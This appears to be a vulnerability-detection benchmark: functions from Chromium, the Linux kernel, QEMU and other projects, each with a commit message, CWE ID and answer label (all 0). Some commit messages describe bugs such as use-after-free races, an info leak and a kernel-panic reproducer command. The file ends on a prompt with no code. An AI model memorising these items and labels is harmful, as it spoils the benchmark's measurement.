CWE ID: CWE-22
| 0
| 11,360
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void InFlightBackendIO::OnOperationComplete(BackgroundIO* operation,
bool cancel) {
BackendIO* op = static_cast<BackendIO*>(operation);
op->OnDone(cancel);
if (!op->callback().is_null() && (!cancel || op->IsEntryOperation()))
op->callback().Run(op->result());
}
Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103}
CWE ID: CWE-20
| 0
| 15,277
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void md_kick_rdev_from_array(struct md_rdev *rdev)
{
unbind_rdev_from_array(rdev);
export_rdev(rdev);
}
Commit Message: md: use kzalloc() when bitmap is disabled
In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a
mdu_bitmap_file_t called "file".
5769 file = kmalloc(sizeof(*file), GFP_NOIO);
5770 if (!file)
5771 return -ENOMEM;
This structure is copied to user space at the end of the function.
5786 if (err == 0 &&
5787 copy_to_user(arg, file, sizeof(*file)))
5788 err = -EFAULT
But if bitmap is disabled only the first byte of "file" is initialized
with zero, so it's possible to read some bytes (up to 4095) of kernel
space memory from user space. This is an information leak.
5775 /* bitmap disabled, zero the first byte and copy out */
5776 if (!mddev->bitmap_info.file)
5777 file->pathname[0] = '\0';
Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr>
Signed-off-by: NeilBrown <neilb@suse.com>
CWE ID: CWE-200
| 0
| 20,105
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int null_digest(struct shash_desc *desc, const u8 *data,
unsigned int len, u8 *out)
{
return 0;
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 11,915
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void NaClIPCAdapter::RewrittenMessage::SetData(
const NaClIPCAdapter::NaClMessageHeader& header,
const void* payload,
size_t payload_length) {
DCHECK(!data_.get() && data_len_ == 0);
size_t header_len = sizeof(NaClIPCAdapter::NaClMessageHeader);
data_len_ = header_len + payload_length;
data_.reset(new char[data_len_]);
memcpy(data_.get(), &header, sizeof(NaClIPCAdapter::NaClMessageHeader));
memcpy(&data_[header_len], payload, payload_length);
}
Commit Message: Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
TBR=bbudge@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 617
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: STATIC void GC_init_lib_bounds(void)
{
if (GC_libpthread_start != 0) return;
GC_init(); /* if not called yet */
if (!GC_text_mapping("libpthread-",
&GC_libpthread_start, &GC_libpthread_end)) {
WARN("Failed to find libpthread.so text mapping: Expect crash\n", 0);
/* This might still work with some versions of libpthread, */
/* so we don't abort. Perhaps we should. */
/* Generate message only once: */
GC_libpthread_start = (ptr_t)1;
}
if (!GC_text_mapping("ld-", &GC_libld_start, &GC_libld_end)) {
WARN("Failed to find ld.so text mapping: Expect crash\n", 0);
}
}
Commit Message: Fix calloc() overflow
* malloc.c (calloc): Check multiplication overflow in calloc(),
assuming REDIRECT_MALLOC.
CWE ID: CWE-189
| 0
| 8,864
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ftrace_set_addr(struct ftrace_ops *ops, unsigned long ip, int remove,
int reset, int enable)
{
return ftrace_set_hash(ops, 0, 0, ip, remove, reset, enable);
}
Commit Message: tracing: Fix possible NULL pointer dereferences
Currently set_ftrace_pid and set_graph_function files use seq_lseek
for their fops. However seq_open() is called only for FMODE_READ in
the fops->open() so that if an user tries to seek one of those file
when she open it for writing, it sees NULL seq_file and then panic.
It can be easily reproduced with following command:
$ cd /sys/kernel/debug/tracing
$ echo 1234 | sudo tee -a set_ftrace_pid
In this example, GNU coreutils' tee opens the file with fopen(, "a")
and then the fopen() internally calls lseek().
Link: http://lkml.kernel.org/r/1365663302-2170-1-git-send-email-namhyung@kernel.org
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Ingo Molnar <mingo@kernel.org>
Cc: Namhyung Kim <namhyung.kim@lge.com>
Cc: stable@vger.kernel.org
Signed-off-by: Namhyung Kim <namhyung@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
CWE ID:
| 0
| 19,494
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameImpl::ForwardResourceTimingToParent(
const blink::WebResourceTimingInfo& info) {
Send(new FrameHostMsg_ForwardResourceTimingToParent(
routing_id_, WebResourceTimingInfoToResourceTimingInfo(info)));
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 6,584
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static uint64_t megasas_fw_time(void)
{
struct tm curtime;
uint64_t bcd_time;
qemu_get_timedate(&curtime, 0);
bcd_time = ((uint64_t)curtime.tm_sec & 0xff) << 48 |
((uint64_t)curtime.tm_min & 0xff) << 40 |
((uint64_t)curtime.tm_hour & 0xff) << 32 |
((uint64_t)curtime.tm_mday & 0xff) << 24 |
((uint64_t)curtime.tm_mon & 0xff) << 16 |
((uint64_t)(curtime.tm_year + 1900) & 0xffff);
return bcd_time;
}
Commit Message:
CWE ID: CWE-200
| 0
| 6,020
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void js_rot3(js_State *J)
{
/* A B C -> C A B */
js_Value tmp = STACK[TOP-1]; /* A B C (C) */
STACK[TOP-1] = STACK[TOP-2]; /* A B B */
STACK[TOP-2] = STACK[TOP-3]; /* A A B */
STACK[TOP-3] = tmp; /* C A B */
}
Commit Message:
CWE ID: CWE-119
| 0
| 24,361
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SharedMemory::~SharedMemory() {
Close();
if (lock_ != NULL)
CloseHandle(lock_);
}
Commit Message: Fix integer overflow in Windows shared memory handling.
BUG=164490
Review URL: https://codereview.chromium.org/11450016
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171369 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 10,372
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ion_unmap_kernel(struct ion_client *client, struct ion_handle *handle)
{
struct ion_buffer *buffer;
mutex_lock(&client->lock);
buffer = handle->buffer;
mutex_lock(&buffer->lock);
ion_handle_kmap_put(handle);
mutex_unlock(&buffer->lock);
mutex_unlock(&client->lock);
}
Commit Message: staging/android/ion : fix a race condition in the ion driver
There is a use-after-free problem in the ion driver.
This is caused by a race condition in the ion_ioctl()
function.
A handle has ref count of 1 and two tasks on different
cpus calls ION_IOC_FREE simultaneously.
cpu 0 cpu 1
-------------------------------------------------------
ion_handle_get_by_id()
(ref == 2)
ion_handle_get_by_id()
(ref == 3)
ion_free()
(ref == 2)
ion_handle_put()
(ref == 1)
ion_free()
(ref == 0 so ion_handle_destroy() is
called
and the handle is freed.)
ion_handle_put() is called and it
decreases the slub's next free pointer
The problem is detected as an unaligned access in the
spin lock functions since it uses load exclusive
instruction. In some cases it corrupts the slub's
free pointer which causes a mis-aligned access to the
next free pointer.(kmalloc returns a pointer like
ffffc0745b4580aa). And it causes lots of other
hard-to-debug problems.
This symptom is caused since the first member in the
ion_handle structure is the reference count and the
ion driver decrements the reference after it has been
freed.
To fix this problem client->lock mutex is extended
to protect all the codes that uses the handle.
Signed-off-by: Eun Taik Lee <eun.taik.lee@samsung.com>
Reviewed-by: Laura Abbott <labbott@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-416
| 0
| 29,101
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: explicit SameDocumentCommitObserver(WebContents* web_contents)
: WebContentsObserver(web_contents) {
EXPECT_TRUE(web_contents);
}
Commit Message: Add a check for disallowing remote frame navigations to local resources.
Previously, RemoteFrame navigations did not perform any renderer-side
checks and relied solely on the browser-side logic to block disallowed
navigations via mechanisms like FilterURL. This means that blocked
remote frame navigations were silently navigated to about:blank
without any console error message.
This CL adds a CanDisplay check to the remote navigation path to match
an equivalent check done for local frame navigations. This way, the
renderer can consistently block disallowed navigations in both cases
and output an error message.
Bug: 894399
Change-Id: I172f68f77c1676f6ca0172d2a6c78f7edc0e3b7a
Reviewed-on: https://chromium-review.googlesource.com/c/1282390
Reviewed-by: Charlie Reis <creis@chromium.org>
Reviewed-by: Nate Chapin <japhet@chromium.org>
Commit-Queue: Alex Moshchuk <alexmos@chromium.org>
Cr-Commit-Position: refs/heads/master@{#601022}
CWE ID: CWE-732
| 0
| 26,812
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: AXObject::AXObjectVector AXNodeObject::radioButtonsInGroup() const {
AXObjectVector radioButtons;
if (!m_node || roleValue() != RadioButtonRole)
return radioButtons;
if (isHTMLInputElement(m_node)) {
HTMLInputElement* radioButton = toHTMLInputElement(m_node);
HeapVector<Member<HTMLInputElement>> htmlRadioButtons =
findAllRadioButtonsWithSameName(radioButton);
for (size_t i = 0; i < htmlRadioButtons.size(); ++i) {
AXObject* axRadioButton =
axObjectCache().getOrCreate(htmlRadioButtons[i]);
if (axRadioButton)
radioButtons.push_back(axRadioButton);
}
return radioButtons;
}
AXObject* parent = parentObject();
if (parent && parent->roleValue() == RadioGroupRole) {
for (size_t i = 0; i < parent->children().size(); ++i) {
AXObject* child = parent->children()[i];
DCHECK(child);
if (child->roleValue() == RadioButtonRole &&
!child->accessibilityIsIgnored()) {
radioButtons.push_back(child);
}
}
}
return radioButtons;
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254
| 0
| 3,183
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: json_build_array_noargs(PG_FUNCTION_ARGS)
{
PG_RETURN_TEXT_P(cstring_to_text_with_len("[]", 2));
}
Commit Message:
CWE ID: CWE-119
| 0
| 10,788
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: process_close(u_int32_t id)
{
int r, handle, ret, status = SSH2_FX_FAILURE;
if ((r = get_handle(iqueue, &handle)) != 0)
fatal("%s: buffer error: %s", __func__, ssh_err(r));
debug3("request %u: close handle %u", id, handle);
handle_log_close(handle, NULL);
ret = handle_close(handle);
status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
send_status(id, status);
}
Commit Message: disallow creation (of empty files) in read-only mode; reported by
Michal Zalewski, feedback & ok deraadt@
CWE ID: CWE-269
| 0
| 25,007
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BinaryUploadService::RunAuthorizationCallbacks() {
DCHECK(can_upload_data_.has_value());
for (auto& callback : authorization_callbacks_) {
std::move(callback).Run(can_upload_data_.value());
}
authorization_callbacks_.clear();
}
Commit Message: Migrate download_protection code to new DM token class.
Migrates RetrieveDMToken calls to use the new BrowserDMToken class.
Bug: 1020296
Change-Id: Icef580e243430d73b6c1c42b273a8540277481d9
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1904234
Commit-Queue: Dominique Fauteux-Chapleau <domfc@chromium.org>
Reviewed-by: Tien Mai <tienmai@chromium.org>
Reviewed-by: Daniel Rubery <drubery@chromium.org>
Cr-Commit-Position: refs/heads/master@{#714196}
CWE ID: CWE-20
| 0
| 10,766
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void blk_put_queue(struct request_queue *q)
{
kobject_put(&q->kobj);
}
Commit Message: block: blk_init_allocated_queue() set q->fq as NULL in the fail case
We find the memory use-after-free issue in __blk_drain_queue()
on the kernel 4.14. After read the latest kernel 4.18-rc6 we
think it has the same problem.
Memory is allocated for q->fq in the blk_init_allocated_queue().
If the elevator init function called with error return, it will
run into the fail case to free the q->fq.
Then the __blk_drain_queue() uses the same memory after the free
of the q->fq, it will lead to the unpredictable event.
The patch is to set q->fq as NULL in the fail case of
blk_init_allocated_queue().
Fixes: commit 7c94e1c157a2 ("block: introduce blk_flush_queue to drive flush machinery")
Cc: <stable@vger.kernel.org>
Reviewed-by: Ming Lei <ming.lei@redhat.com>
Reviewed-by: Bart Van Assche <bart.vanassche@wdc.com>
Signed-off-by: xiao jin <jin.xiao@intel.com>
Signed-off-by: Jens Axboe <axboe@kernel.dk>
CWE ID: CWE-416
| 0
| 6,492
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int coroutine_fn fid_to_qid(V9fsPDU *pdu, V9fsFidState *fidp,
V9fsQID *qidp)
{
struct stat stbuf;
int err;
err = v9fs_co_lstat(pdu, &fidp->path, &stbuf);
if (err < 0) {
return err;
}
stat_to_qid(&stbuf, qidp);
return 0;
}
Commit Message:
CWE ID: CWE-362
| 0
| 18,950
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void mct_u232_break_ctl(struct tty_struct *tty, int break_state)
{
struct usb_serial_port *port = tty->driver_data;
struct mct_u232_private *priv = usb_get_serial_port_data(port);
unsigned char lcr;
unsigned long flags;
spin_lock_irqsave(&priv->lock, flags);
lcr = priv->last_lcr;
if (break_state)
lcr |= MCT_U232_SET_BREAK;
spin_unlock_irqrestore(&priv->lock, flags);
mct_u232_set_line_ctrl(port, lcr);
} /* mct_u232_break_ctl */
Commit Message: USB: mct_u232: add sanity checking in probe
An attack using the lack of sanity checking in probe is known. This
patch checks for the existence of a second port.
CVE-2016-3136
Signed-off-by: Oliver Neukum <ONeukum@suse.com>
CC: stable@vger.kernel.org
[johan: add error message ]
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID:
| 0
| 23,895
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int jpc_cox_getcompparms(jpc_ms_t *ms, jpc_cstate_t *cstate,
jas_stream_t *in, int prtflag, jpc_coxcp_t *compparms)
{
uint_fast8_t tmp;
int i;
/* Eliminate compiler warning about unused variables. */
ms = 0;
cstate = 0;
if (jpc_getuint8(in, &compparms->numdlvls) ||
jpc_getuint8(in, &compparms->cblkwidthval) ||
jpc_getuint8(in, &compparms->cblkheightval) ||
jpc_getuint8(in, &compparms->cblksty) ||
jpc_getuint8(in, &compparms->qmfbid)) {
return -1;
}
if (compparms->numdlvls > 32) {
goto error;
}
compparms->numrlvls = compparms->numdlvls + 1;
if (compparms->numrlvls > JPC_MAXRLVLS) {
goto error;
}
if (prtflag) {
for (i = 0; i < compparms->numrlvls; ++i) {
if (jpc_getuint8(in, &tmp)) {
goto error;
}
compparms->rlvls[i].parwidthval = tmp & 0xf;
compparms->rlvls[i].parheightval = (tmp >> 4) & 0xf;
}
/* Sigh.
This bit should be in the same field in both COC and COD mrk segs. */
compparms->csty |= JPC_COX_PRT;
}
if (jas_stream_eof(in)) {
goto error;
}
return 0;
error:
if (compparms) {
jpc_cox_destroycompparms(compparms);
}
return -1;
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190
| 0
| 23,044
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int highlight_string(zval *str, zend_syntax_highlighter_ini *syntax_highlighter_ini, char *str_name TSRMLS_DC)
{
zend_lex_state original_lex_state;
zval tmp = *str;
str = &tmp;
zval_copy_ctor(str);
zend_save_lexical_state(&original_lex_state TSRMLS_CC);
if (zend_prepare_string_for_scanning(str, str_name TSRMLS_CC)==FAILURE) {
zend_restore_lexical_state(&original_lex_state TSRMLS_CC);
return FAILURE;
}
BEGIN(INITIAL);
zend_highlight(syntax_highlighter_ini TSRMLS_CC);
if (SCNG(script_filtered)) {
efree(SCNG(script_filtered));
SCNG(script_filtered) = NULL;
}
zend_restore_lexical_state(&original_lex_state TSRMLS_CC);
zval_dtor(str);
return SUCCESS;
}
Commit Message: fix bug #64660 - yyparse can return 2, not only 1
CWE ID: CWE-20
| 0
| 1,033
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TabLoader::ForceLoadTimerFired() {
force_load_delay_ *= 2;
LoadNextTab();
}
Commit Message: Lands http://codereview.chromium.org/9316065/ for Marja. I reviewed
this, so I'm using TBR to land it.
Don't crash if multiple SessionRestoreImpl:s refer to the same
Profile.
It shouldn't ever happen but it seems to happen anyway.
BUG=111238
TEST=NONE
TBR=sky@chromium.org
R=marja@chromium.org
Review URL: https://chromiumcodereview.appspot.com/9343005
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@120648 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 16,124
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void idle_task_exit(void)
{
struct mm_struct *mm = current->active_mm;
BUG_ON(cpu_online(smp_processor_id()));
if (mm != &init_mm)
switch_mm(mm, &init_mm, current);
mmdrop(mm);
}
Commit Message: Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <efault@gmx.de>
Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com>
Tested-by: Yong Zhang <yong.zhang0@gmail.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: stable@kernel.org
LKML-Reference: <1291802742.1417.9.camel@marge.simson.net>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID:
| 0
| 18,815
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int tioccons(struct file *file)
{
if (!capable(CAP_SYS_ADMIN))
return -EPERM;
if (file->f_op->write == redirected_tty_write) {
struct file *f;
spin_lock(&redirect_lock);
f = redirect;
redirect = NULL;
spin_unlock(&redirect_lock);
if (f)
fput(f);
return 0;
}
spin_lock(&redirect_lock);
if (redirect) {
spin_unlock(&redirect_lock);
return -EBUSY;
}
redirect = get_file(file);
spin_unlock(&redirect_lock);
return 0;
}
Commit Message: tty: Fix unsafe ldisc reference via ioctl(TIOCGETD)
ioctl(TIOCGETD) retrieves the line discipline id directly from the
ldisc because the line discipline id (c_line) in termios is untrustworthy;
userspace may have set termios via ioctl(TCSETS*) without actually
changing the line discipline via ioctl(TIOCSETD).
However, directly accessing the current ldisc via tty->ldisc is
unsafe; the ldisc ptr dereferenced may be stale if the line discipline
is changing via ioctl(TIOCSETD) or hangup.
Wait for the line discipline reference (just like read() or write())
to retrieve the "current" line discipline id.
Cc: <stable@vger.kernel.org>
Signed-off-by: Peter Hurley <peter@hurleysoftware.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-362
| 0
| 24,189
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bt_status_t btif_init_bluetooth() {
bte_main_boot_entry();
/* As part of the init, fetch the local BD ADDR */
memset(&btif_local_bd_addr, 0, sizeof(bt_bdaddr_t));
btif_fetch_local_bdaddr(&btif_local_bd_addr);
bt_jni_workqueue_thread = thread_new(BT_JNI_WORKQUEUE_NAME);
if (bt_jni_workqueue_thread == NULL) {
LOG_ERROR("%s Unable to create thread %s", __func__, BT_JNI_WORKQUEUE_NAME);
goto error_exit;
}
btif_transfer_context(btif_jni_associate, 0, NULL, 0, NULL);
return BT_STATUS_SUCCESS;
error_exit:;
thread_free(bt_jni_workqueue_thread);
bt_jni_workqueue_thread = NULL;
return BT_STATUS_FAIL;
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284
| 0
| 9,668
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void start_packfile(void)
{
static char tmp_file[PATH_MAX];
struct packed_git *p;
int namelen;
struct pack_header hdr;
int pack_fd;
pack_fd = odb_mkstemp(tmp_file, sizeof(tmp_file),
"pack/tmp_pack_XXXXXX");
namelen = strlen(tmp_file) + 2;
p = xcalloc(1, sizeof(*p) + namelen);
xsnprintf(p->pack_name, namelen, "%s", tmp_file);
p->pack_fd = pack_fd;
p->do_not_close = 1;
pack_file = sha1fd(pack_fd, p->pack_name);
hdr.hdr_signature = htonl(PACK_SIGNATURE);
hdr.hdr_version = htonl(2);
hdr.hdr_entries = 0;
sha1write(pack_file, &hdr, sizeof(hdr));
pack_data = p;
pack_size = sizeof(hdr);
object_count = 0;
REALLOC_ARRAY(all_packs, pack_id + 1);
all_packs[pack_id] = p;
}
Commit Message: prefer memcpy to strcpy
When we already know the length of a string (e.g., because
we just malloc'd to fit it), it's nicer to use memcpy than
strcpy, as it makes it more obvious that we are not going to
overflow the buffer (because the size we pass matches the
size in the allocation).
This also eliminates calls to strcpy, which make auditing
the code base harder.
Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
CWE ID: CWE-119
| 0
| 1,925
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int get_ctl_value_v2(struct usb_mixer_elem_info *cval, int request,
int validx, int *value_ret)
{
struct snd_usb_audio *chip = cval->head.mixer->chip;
unsigned char buf[4 + 3 * sizeof(__u32)]; /* enough space for one range */
unsigned char *val;
int idx = 0, ret, size;
__u8 bRequest;
if (request == UAC_GET_CUR) {
bRequest = UAC2_CS_CUR;
size = uac2_ctl_value_size(cval->val_type);
} else {
bRequest = UAC2_CS_RANGE;
size = sizeof(buf);
}
memset(buf, 0, sizeof(buf));
ret = snd_usb_lock_shutdown(chip) ? -EIO : 0;
if (ret)
goto error;
idx = snd_usb_ctrl_intf(chip) | (cval->head.id << 8);
ret = snd_usb_ctl_msg(chip->dev, usb_rcvctrlpipe(chip->dev, 0), bRequest,
USB_RECIP_INTERFACE | USB_TYPE_CLASS | USB_DIR_IN,
validx, idx, buf, size);
snd_usb_unlock_shutdown(chip);
if (ret < 0) {
error:
usb_audio_err(chip,
"cannot get ctl value: req = %#x, wValue = %#x, wIndex = %#x, type = %d\n",
request, validx, idx, cval->val_type);
return ret;
}
/* FIXME: how should we handle multiple triplets here? */
switch (request) {
case UAC_GET_CUR:
val = buf;
break;
case UAC_GET_MIN:
val = buf + sizeof(__u16);
break;
case UAC_GET_MAX:
val = buf + sizeof(__u16) * 2;
break;
case UAC_GET_RES:
val = buf + sizeof(__u16) * 3;
break;
default:
return -EINVAL;
}
*value_ret = convert_signed_value(cval, snd_usb_combine_bytes(val, sizeof(__u16)));
return 0;
}
Commit Message: ALSA: usb-audio: Kill stray URB at exiting
USB-audio driver may leave a stray URB for the mixer interrupt when it
exits by some error during probe. This leads to a use-after-free
error as spotted by syzkaller like:
==================================================================
BUG: KASAN: use-after-free in snd_usb_mixer_interrupt+0x604/0x6f0
Call Trace:
<IRQ>
__dump_stack lib/dump_stack.c:16
dump_stack+0x292/0x395 lib/dump_stack.c:52
print_address_description+0x78/0x280 mm/kasan/report.c:252
kasan_report_error mm/kasan/report.c:351
kasan_report+0x23d/0x350 mm/kasan/report.c:409
__asan_report_load8_noabort+0x19/0x20 mm/kasan/report.c:430
snd_usb_mixer_interrupt+0x604/0x6f0 sound/usb/mixer.c:2490
__usb_hcd_giveback_urb+0x2e0/0x650 drivers/usb/core/hcd.c:1779
....
Allocated by task 1484:
save_stack_trace+0x1b/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:447
set_track mm/kasan/kasan.c:459
kasan_kmalloc+0xad/0xe0 mm/kasan/kasan.c:551
kmem_cache_alloc_trace+0x11e/0x2d0 mm/slub.c:2772
kmalloc ./include/linux/slab.h:493
kzalloc ./include/linux/slab.h:666
snd_usb_create_mixer+0x145/0x1010 sound/usb/mixer.c:2540
create_standard_mixer_quirk+0x58/0x80 sound/usb/quirks.c:516
snd_usb_create_quirk+0x92/0x100 sound/usb/quirks.c:560
create_composite_quirk+0x1c4/0x3e0 sound/usb/quirks.c:59
snd_usb_create_quirk+0x92/0x100 sound/usb/quirks.c:560
usb_audio_probe+0x1040/0x2c10 sound/usb/card.c:618
....
Freed by task 1484:
save_stack_trace+0x1b/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:447
set_track mm/kasan/kasan.c:459
kasan_slab_free+0x72/0xc0 mm/kasan/kasan.c:524
slab_free_hook mm/slub.c:1390
slab_free_freelist_hook mm/slub.c:1412
slab_free mm/slub.c:2988
kfree+0xf6/0x2f0 mm/slub.c:3919
snd_usb_mixer_free+0x11a/0x160 sound/usb/mixer.c:2244
snd_usb_mixer_dev_free+0x36/0x50 sound/usb/mixer.c:2250
__snd_device_free+0x1ff/0x380 sound/core/device.c:91
snd_device_free_all+0x8f/0xe0 sound/core/device.c:244
snd_card_do_free sound/core/init.c:461
release_card_device+0x47/0x170 sound/core/init.c:181
device_release+0x13f/0x210 drivers/base/core.c:814
....
Actually such a URB is killed properly at disconnection when the
device gets probed successfully, and what we need is to apply it for
the error-path, too.
In this patch, we apply snd_usb_mixer_disconnect() at releasing.
Also introduce a new flag, disconnected, to struct usb_mixer_interface
for not performing the disconnection procedure twice.
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Tested-by: Andrey Konovalov <andreyknvl@google.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-416
| 0
| 13,598
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
